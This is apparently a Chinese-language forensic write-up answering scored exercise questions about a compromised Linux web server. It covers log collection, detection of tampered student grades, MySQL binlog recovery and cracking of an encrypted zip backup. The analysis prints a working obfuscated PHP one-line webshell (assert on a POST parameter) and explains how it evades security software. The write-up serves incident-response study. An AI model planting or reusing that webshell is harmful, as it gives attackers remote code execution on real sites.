1、被入侵服务器的数据做证据固定，包括但不限于：系统版本、IP、进程信息、登录日志、时间、日志、数据库、网站、Web访问日志等。（20分）
（1）查看系统版本的几种命令：
lsb_release -a
uname -a
cat /proc/version
（2）查看IP：
ifconfig
（3）查看进程信息：
ps aux
ps -ef
（4）登录日志：
(注意:几处登陆日志被hacker删除了)
last
（5）网站日志：
因为服务器没有使用默认网站，所以无法从默认站点上获取网站的信息。
思路：首先查找http服务，发现是nginx。因为日志文件是需要实时写入的，遂查找nginx进程的正在使用的文件。
ps –ef | grep nginx //查找nginx的进程号
ll /proc/【pid】/fd //列出某进程打开文件的情况
/home/wwwlogs/nginx_error.log 是nginx的存放错误日志的文件。
/home/wwwlogs/access/log 是nginx的访客记录日志文件，一般包括IP、访问时间、访问的链接、来源链接、user-agent、页面状态码等。
（6）数据库日志：
取证时不建议直接登录数据库操作，因为这样会造成sql查询日志污染。
Linux下数据库一般是mysql，而mysql的配置文件一般命名为my.cnf。
查看mysql配置文件，没有什么发现。
然后尝试通过进程来获取mysql服务相关的信息：
ps aux | grep mysql
参数说明：
datadir：数据库数据存放路径
log-error：存放错误日志路径
pid-file：记录当前mysql进程的pid
basedir：数据库安装路径
plugin-dir：插件路径
通过参数我们得知mysql的路径位置为/usr/local/mysql/
进入mysql的目录：
cd /usr/local/mysql/var
发现通用查询日志(这里通过默认文件名判断的，若想准确定位需要用mysql内置函数来查找 show variables like 'general_log_file';)：
这就意味着我们得到了mysql的操作日志。
mysql-bin.* ——二进制日志文件
我用notepad++打开了其中一个文件，发现有一个修改root密码的操作。拿到mysql数据的密码。
意外的收获：
在对日志进行梳理的时候，发现该服务器有自动备份history操作的备份计划任务。
cat /var/log/cron //查看计划任务日志
cat /tmp/backup-log/backuplog.sh //查看backuplog.sh的内容
可以看到该脚本将/var/log 和 /root/.bash_history 压缩并以带有时间的命名存放在/tmp/backup-log/ 文件夹下。
将backup-log文件夹down回来分析：
发现最早的history日志备份是我们取证过程中自动备份的。
同样/var/log/下的日志备份也是我们取证这段时间的。
而被入侵前和入侵时的日志被hacker刻意删除了。(由于手里没有好用的数据恢复工具，就没有对数据进行恢复，但不影响从其他途径取证)
考虑到服务器还会有遗留的备份日志压缩包的可能性，尝试查找一下：
locate .backup-history //locate会自动匹配带有“.backup-history”的文件
locate .var.log
分别得到命名为201708081534.tar.gz 和 var.log201708081329.tar.gz的两个压缩包。
解压这history压缩包：
该history文件只记录了管理员的操作，并没有记录hacker入侵时候的操作。所以此次备份于hacker入侵前自动备份。
（7）其他零碎的线索：
2017年8月8日下午三点四十五分从学生成绩表中导出了数据并命名为studient.csv
2、从被入侵服务器中提取入侵者IP，判断入侵者的入侵方式，简述判断依据；（10）
查看nginx的access.log：
cd /home/wwwlogs/ //进入网站日志目录
cat access.log | more //分页查看日志
对web日志进行审计时候，发现有异常操作。这里对其中的一部分截取分析，第7019行和7020行：
通过日志我们发现，IP为192.168.232.150的访客，频繁访问了 adminer.php和1.php这两个文件。从这文件命名习惯来看,这两个文件看起来不是正常文件。
用locate命令去定位1.php，并查看1.php的内容：
locate 1.php //定位1.php的绝对路径
cat /home/wwwroot/mhedu.sh.cn/jyzl/images2/1.php //查看1.php的内容
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['xise']);?>
很明显这是“一句话木马”，所谓一句话木马就是将一段含有任意代码执行的php/asp/aspx/jsp等脚本上传到网站，当webshell客户端（一般为中国菜刀，当然一些黑客不满足于中国菜刀内置的功能，开发出功能更强的客户端）要对网站进行操作时，会用内置函数去调用(通过POST一段base64编码的代码)“一句话木马”，以实现相应的操作。“一句话“将原本功能复杂、体积庞大的“大马”精简到一行代码并且功能不减，是黑客最钟爱的后门手段。
分析一句话：
通过创建数组的方式实现代码“中转”从而欺骗防护软件达到任意代码执行功能。关于assert函数的介绍，摘自php官方手册：
bool assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。
请注意最后一句，如果assert中参数为字符串，将会被当作代码执行。而assert中的字符串则是通过xise这个参数传递过来的。将上面一句话精简后，如下：
<?php assert($_POST[‘xise’])?>
同时根据POST中的变量名xise我们可以推测出黑客使用的webshell管理器就是“XISE”——批量webshell &寄生虫 管理器。
我们继续追1.php的日志，尝试查找1.php最早被创建以及访问的时间：
ls –al /home/wwwroot/mhedu.sh.cn/jyzl/images2/1.php //查看详细信息
1.php的创建时间为6月8日，考虑到文件创建时间可以被伪造，这里我们不做记录。
而网站日志里的第一次访问时间是不会被伪造的，得到8月8日下午四点四分hacker第一次访问了后门，所以hacker入侵服务器(写入webshell)的时间是8月8日下午四点四分之前。
同样的方法，我们定位adminer.php并获取它的信息：
locate adminer.php
ls –al /home/wwwroot/mhedu.sh.cn/adminer.php //查看详细信息，日期
通过对代码的分析，我们得知adminer.php是一个正常的数据库管理脚本(实则是大部分黑客的拖库利器)：
同样的，我们追adminer.php第一次出现的时间：
8月8日下午三点五十九分出现。同时访问者的IP和入侵者的IP为同一个，所以我们相信 adminer.php 和 1.php 均是hacker上传的。剩下的我们重点分析192.168.232.150访问过的页面，当然其他的IP也不能忽视。
当审计完所有WEB日志后，发现adminer.php完全凌空出现在网站上，同样1.php也是。常规情况下，黑客WEB入侵会留下大量日志，如SQL注入、上传后门、文件扫描等等。而这里并没有出现任何WEB入侵的迹象。
前面在对登陆日志审计时，发现早期的日志不存在，猜测hacker可能提权后将日志和部分痕迹清理掉了。而清除日志需要用root权限，所以hacker已经拿到服务器的root权限且以root身份操作过服务器。
从1.php第一次出现和他出现之前最有一次访问网站时间间隔来看，hacker用完adminer.php后，中间有4分钟没有操作，之后hacker开始访问1.php。
我们推测有两个原因：要么是4分钟确实进行了入侵操作，但hacker把日志删除了；要么就是这4分钟他通过某种方式对网站写入了1.php，并非WEB层次上的。
假设第一个理由成立，黑客入侵后对关键WEB日志删除过，那他为什么不全部删除呢？日志里已经有他大量的IP访问记录了，全部删除岂不是更好？况且adminer.php和1.php的日志他为什么不删除？所以第一个理由被推翻，我们猜测通过服务器其他服务入侵的。
查看开放端口并判断入侵方式：
常见的3306、80、22端口开放，分别对应着mysql、nginx、sshd服务。Mysql的入侵一般就是密码暴力破解，nginx就是网站入侵(已排除)、sshd也是暴力破解。
通过之前的mysql日志(general log)分析，并没有发现有写入webshell的操作，最终推测可能是利用sshd服务入侵的(ssh日志被删除了，无法完全认定是ssh入侵的)。
注：查阅相关资料后，发现Winscp下使用sftp协议，执行命令或者操作目录文件,在history,lastlog,last,w下不会有记录，但在/var/log/secure下有日志。
判断可能是通过Winscp登陆，并且使用sftp协议来绕过记录。
3、入侵者是否存在删除日志的行为，如何删除？（10）
存在删除日志的行为。
history //查看bash操作历史
可以看到，hacker查找了名为”.bash_history”的文件，并删除了它。
前面在对/var/log下的日志进行取证时，发现丢失了大量的日志，如wtmp、secure、lastlog等等。所以hacker应该先删除了/var/log的日志，最后又删除了history日志。
4、入侵者有修改过数据库中的数据？修改是哪些数据？（5）
修改过数据库中的数据。
cat /usr/local/mysql/var/localhost.log |grep “update” //查看通用日志中的update操作
通过对mysql操作日志(通用日志)来看，发现hacker使用update命令，对张晓和李小东两人的成绩进行修改。修改前二人分别为580分和592分，修改后二人成绩分别为590分和600分。
5、服务器中存在一个被加密过的压缩包，请提取或破解其加密密码并还原到数据库中。（5）
思路：遍历所有加密压缩包，首先以找文件名奇怪的为主。
在没有任何准备的情况下，我真的遍历了所有压缩包，搜寻了大约1个多小时就放弃了。
使用命令遍历海量压缩包查找方式走投无路，我决定使用“笨办法”——编程。即通过遍历压缩包的加密位来判断当前压缩包是否被加密，然后再筛选。
因为需要知道压缩包HEX下加密位的特征，所以我打算在centos上加密压缩一个再提取加密位，当加密时候，发现只有两个压缩包支持：
这样范围缩小到后缀为.cbz和.zip。
第一种方法：使用find命令直接查找后缀为”cbz”/”zip”的文件，然后根据名字判断。
第二种：写程序遍历后缀为”cbz”/”zip”的文件并提取带有加密位的压缩包。
find / -type f –name “*.zip” //从根目录下遍历后缀为zip的文件
发现有一个叫做studient.sql.zip的压缩包，直觉告诉我这个压缩包绝对有问题。
成功找到加密压缩包student.sql.zip
虽然使用find命令很快拿到了结果，但我还是想试试编程方式，顺便练练手。当我在windows上写好程序并且测试通过，准备放到centos上时候，意想不到的情况发生了：
通过在互联网上查找错误信息，我确认是python版本的问题，因为升级python会破坏数字证据，我放弃了这条思路。此脚本我放到“取证”文件夹的根目录了，写的很简单，有几个bug没修复。
爆破ZIP压缩包：
使用Archpr+弱口令爆破压缩包
跑一下密码，发现密码是111111。
考虑到直接恢复到服务器数据库会造成日志污染，我将mysql恢复到了我的一台服务器上：
第一步，执行SQL命令“create database student”，创建一个数据库；
第二步，在MYSQL-Front中打开student.sql，弹出窗口询问是否执行，点击是；
得到1879条学生信息数据。
6、入侵者是否删除过的数据库中的数据？是否可以恢复，如何恢复。（5）
删除过数据。
2017年8月8日下午四点六分四十八秒 hacker连接到数据库，并删除了第一批数据；
下午四点六分五十四秒，删除了第二批数据；
下午四点七分零三秒，删除了第三批数据；
下午四点七分零八秒，删除了第四批数据。
数据恢复过程：
相关资料：[如何通过mysql binlog 恢复数据]
Binlog的create time有问题，可能是服务器时间问题可以无视。
【注意:恢复数据时，切记不要在取证机器上操作】
登陆mysql数据库，查看恢复前的记录数：
mysql –u root –p //以数据库管理员root身份登陆；
show databases; //查看所有数据库；
use studient //使用studient数据库
show tables; //查看studient数据库中的表；
select count(*) from score; //查看score表的记录数。
看到只有1679条记录。
开始恢复数据：
cd /usr/local/mysql/var/ //进入到mysql存放日志的目录
ls //查看该目录下的文件
/usr/local/mysql/bin/mysqlbinlog mysql-bin.00001 >/root/Desktop/test.sql //使用mysqlbinlog 恢复mysql-bin.00001到桌面上并创建名为test.sql
……
/usr/local/mysql/bin/mysqlbinlog mysql-bin.00008 --stop-date='2017-08-08 16:05:00' >>/root/Desktop/test.sql //将00001-00007追加到test.sql后，我们需要对00008进行选择性恢复，即设置时间限制。因为hacker第一次删除数据是2017年8月8日下午四点六分四十八秒，为了最大降低恢复数据的误差，我将stop-date设置为“2017-0808 16:05:00”，然后继续追加到桌面的test.sql。
然后再在mysql中执行：
mysql>source /root/Desktop/test.sql //导入test.sql到数据库，即最后一步恢复数据。
当Sql语句执行完毕后，会出现大量的“ Query OK，x rows affected (0.01 sec)”表示执行test.sql语句成功，已恢复某条记录。
再次执行 select count(*) from score; 查看记录数，发现是1879条，完成恢复任务。
7、服务器中是否存在webshell程序，请提取相应的程序。并分析上述程序是否存在被访问或控制记录。分析访问日志并说明对应控制行为，访问端IP地址等信息。（5）
存在webshell。
具体webshell分析参见上方。
1.php的MD5： 4c5b47eb016d6e3ce3511a9bf4b6374d
访问者的IP：192.168.232.150
User-agent：Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
总共匹配了54次对1.php的POST，因为POST内容一般不会被日志记录，所以我们无法得知hacker具体进行了哪些操作，已知hacker在网站上进行了54次操作。
【编者注】以上操作纯属虚构的白帽行为，如有雷同，实属巧合。
有话要说